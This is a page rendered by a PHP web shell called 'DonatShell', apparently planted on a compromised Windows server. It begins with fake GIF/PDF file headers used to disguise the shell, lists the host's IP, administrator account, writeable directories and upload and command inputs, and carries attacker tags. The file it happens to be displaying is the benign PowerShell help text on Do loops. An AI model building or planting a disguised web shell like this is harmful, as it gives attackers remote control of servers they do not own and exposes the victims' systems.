GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/System32/WindowsPowerShell/v1.0/en-US/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Windows/System32/WindowsPowerShell/v1.0/en-US/about_Do.help.txt

ABOUT DO


SHORT DESCRIPTION

Runs a statement list one or more times, subject to a While or Until
condition.


LONG DESCRIPTION

The Do keyword works with the While keyword or the Until keyword to run the
statements in a script block, subject to a condition. Unlike the related
While loop, the script block in a Do loop always runs at least once.

A DO-WHILE loop is a variety of the While loop. In a DO-WHILE loop, the
condition is evaluated after the script block has run. As in a While loop,
the script block is repeated as long as the condition evaluates to true.

Like a DO-WHILE loop, a DO-UNTIL loop always runs at least once before the
condition is evaluated. However, the script block runs only while the
condition is false.

The _Continue_ and _Break_ flow control keywords can be used in a DO-WHILE
loop or in a DO-UNTIL loop.

Syntax

The following shows the syntax of the DO-WHILE statement:

    do {<statement list>} while (<condition>)

The following shows the syntax of the DO-UNTIL statement:

    do {<statement list>} until (<condition>)

The statement list contains one or more statements that run each time the
loop is entered or repeated.

The condition portion of the statement resolves to true or false.

Example

The following example of a Do statement counts the items in an array until
it reaches an item with a value of 0.

    C:\PS> $x = 1,2,78,0
    C:\PS> do { $count++; $a++; } while ($x[$a] -ne 0)
    C:\PS> $count
    3

The following example uses the Until keyword. Notice that the not equal to
operator (-ne) is replaced by the equal to operator (-eq).

    C:\PS> $x = 1,2,78,0
    C:\PS> do { $count++; $a++; } until ($x[$a] -eq 0)
    C:\PS> $count
    3

The following example writes all the values of an array, skipping any value
that is less than zero.

    do {
      if ($x[$a] -lt 0) { continue }
      Write-Host $x[$a]
    }
    while (++$a -lt 10)


SEE ALSO

about_While

about_Operators

about_Assignment_Operators

about_Comparison_Operators

about_Break

about_Continue

Anon7 - 2022
AnonSec Team